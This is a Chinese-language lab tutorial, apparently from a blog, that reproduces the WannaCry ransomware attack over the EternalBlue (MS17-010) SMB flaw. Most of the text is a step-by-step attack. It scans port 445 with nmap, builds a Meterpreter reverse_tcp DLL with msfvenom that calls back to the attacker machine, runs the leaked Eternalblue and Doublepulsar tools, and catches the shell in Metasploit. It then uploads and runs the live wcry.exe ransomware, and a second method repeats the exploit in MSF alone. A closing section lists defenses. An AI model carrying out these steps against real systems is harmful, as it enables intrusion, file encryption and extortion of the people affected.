WannaCry复现过程十分繁琐,仅推荐大家理解漏洞利用的基本过程。这里使用了两种复现方法,一种是Python构建shellcode代码攻击,以及双星脉冲漏洞、DLL文件的设置与后续逆向分析均有关,另一种是我们常用的MSF。
下图是安天分析WannaRen勒索软件的攻击流程,其名称和功能与WannaCry相似。
1. WannaCry背景
2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。
WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。
WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过SMB漏洞上传WannaCry勒索病毒等恶意程序。
WannaCry利用永恒之蓝漏洞进行网络端口扫描攻击,目标机器被成功攻陷后会从攻击机下载WannaCry蠕虫进行感染,并作为攻击机再次扫描互联网和局域网的其它机器,形成蠕虫感染大范围超快速扩散。
木马母体为mssecsvc.exe
,运行后会扫描随机IP的互联网机器,尝试感染,也会扫描局域网相同网段的机器进行感染传播,此外会释放敲诈者程序tasksche.exe
,对磁盘文件进行加密勒索。
木马加密使用AES加密文件,并使用非对称加密算法RSA 2048加密随机密钥,每个文件使用一个随机密钥,理论上不可攻破。同时@WanaDecryptor@.exe
显示勒索界面。其核心流程如下图所示:
WannaCry勒索病毒主要行为是传播和勒索:
- 传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
- 勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;内存加载加密模块,加密执行类型文件,全部加密后启动解密器;解密器启动后,设置桌面背景显示勒索信息,弹窗窗口显示付款账号和勒索信息
2. 实验环境搭建
2.1 环境配置
攻击机1:Kali Linux x64(IP地址:192.168.193.128)
攻击机2:Windows Server 2003 x86 企业版(IP地址:192.168.193.132)
靶机:Windows 7 x64(IP地址:192.168.193.141)
保证攻击机1、攻击机2与靶机能两两通讯,均在同一局域网中。
2.2 实验工具
- Python v2.6
- Python32-221.win32-py2.6
- Shadowbroker-master(https://github.com/misterch0c/shadowbroker)
- Wcry.exe
2.3 实验步骤
- 配置Windows Server 2003、Kali、Windows 7实验环境
- Kali检测受害主机445端口(SMB协议)是否开启
- 运行永恒之蓝Python脚本
- 利用DLL后门文件进行Doublepulsar注入
- Metaploit获取受害主机的shell
- 运行
Wcry.exe
母体程序,实现勒索和文件加密
3. Python复现
实验复现过程必须在虚拟机中完成,运行之前关闭虚拟机Win 7的文件共享。
3.1 实验准备
关闭Win 7虚拟机的文件共享,开启445端口,同时关闭防火墙。
在Windows Server 2003系统中配置Python环境。
下载shadowbroker工具包,在windows文件夹中新建文件夹logs
和listeningposts
,用记事本打开windows文件夹中的Fuzzbunch.xml
文件,并修改ResourcesDir
和LogDir
的路径为:C:\shadowbroker\windows\Resources和logs。注意,目录名不能有空格。
3.2 实验过程
3.2.1 提权
用Kali扫描靶机是否开启445端口。
1 | nmap -Pn 192.168.193.141 |
使用msfvenom工具生成后门文件abc.dll
。
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.193.128 LPORT=6666 -f dll > abc.dll |
其中,-p指定使用模块类型,-f指定文件类型。
将abc.dll
上传到Windows Server 2003中。
在Windows Server 2003运行永恒之蓝工具,若出现以下界面则工具安装成功。
1 | python C:\shadowbroker\windows\fb.py |
设置靶机IP、攻击机1的IP(反弹shell地址)、重定向以及新建项目名称等。重定向一定选no。其他选项默认,Enter即可。
加载永恒之蓝模块,获取受害主机的系统权限。
1 | use Eternalblue |
设置受害主机操作系统Win 7 x64,设置模式FB,该模式下进行交互性参数输入。
当看到WIN和Eternalblue Succeeded信息,表示受害主机的权限获取成功。
接着设置Kali系统,通过Metasploit等待返回的shell。
1 | msfconsole #加载msf框架 |
在Windows Server 2003中进行Doublepulsar注入(双倍脉冲),具体流程如下:
输入use Doublepulsar
加载双倍脉冲注入。设置相关参数,包括选择SMB协议,后门利用方法为RunDLL。
回到Kali查看meterpreter,此时成功获取受害主机的shell。
3.2.2 上传勒索病毒
获得权限后,将勒索病毒wcry.exe
上传至受害主机。
1 | upload /home/v5le0n9/Desktop/wcry2.0/wcry.exe c:\\ |
获取受害主机的shell,如果出现中文乱码输入chcp 65001
设置编码,接着运行wcry.exe
。
1 | shell |
运行病毒程序后的界面如下图所示,已经成功被勒索。
加密系统中的文件,被加密的文件后缀名统一修改为.WNRY
。
- b.wnry:中招后的桌面壁纸
- c.wnry:配置文件,包含洋葱域名、比特币地址、tor下载地址等
- f.wnry:可免支付解密的文件列表
- r.wnry:提示文件,包含中招提示信息
- s.wnry:zip文件,包含tor客户端
- t.wnry:测试文件
- u.wnry:解密程序
上一篇文章是利用Python复现永恒之蓝漏洞,过程较为复杂,所以这篇文章将直接利用MSF复现MS17-010漏洞进行反弹shell,再上传勒索病毒进行复现,并详细讲解WannaCry勒索病毒的原理。
4. MSF复现
4.1 环境配置
攻击机:Kali Linux x64(IP地址:192.168.193.145)
靶机:Windows 7 x64(IP地址:192.168.193.141)
利用工具:MSF
4.2 复现准备
开启Win 7的445端口,同时关闭防火墙。注意,关闭虚拟机文件共享功能,否则后面上传的勒索病毒会通过局域网传播到物理机与其它虚拟机。
保证攻击机和靶机能够相互通讯,均在同一个局域网中。
4.3 复现过程
用Kali扫描靶机是否开启了445端口。
打开msfconsole并查询MS17-010漏洞模块。
1 | msfconsole |
由于靶机是我们自定义的,所以可以确定靶机的确存在MS17-010漏洞,进而省去利用辅助模块探测靶机是否存在该漏洞,直接利用漏洞利用模块提权。
利用永恒之蓝漏洞并设置参数。
1 | use 0 |
此时,成功提取靶机权限。之后再进行上传勒索病毒操作。
5. 防御措施
勒索软件常见防御措施如下:
- 开启系统防火墙
- 关闭445、139等端口连接
- 开启系统自动更新,下载并更新补丁,及时修复漏洞
- 安装安全软件,开启主动防御进行拦截查杀
- 如非服务需要,建议把高危漏洞的端口都关闭,比如138、139、445、3389等
由于WannaCry勒索病毒主要通过445端口入侵计算机,关闭方法可在Windows防火墙中添加入站规则,禁止通过445端口连接。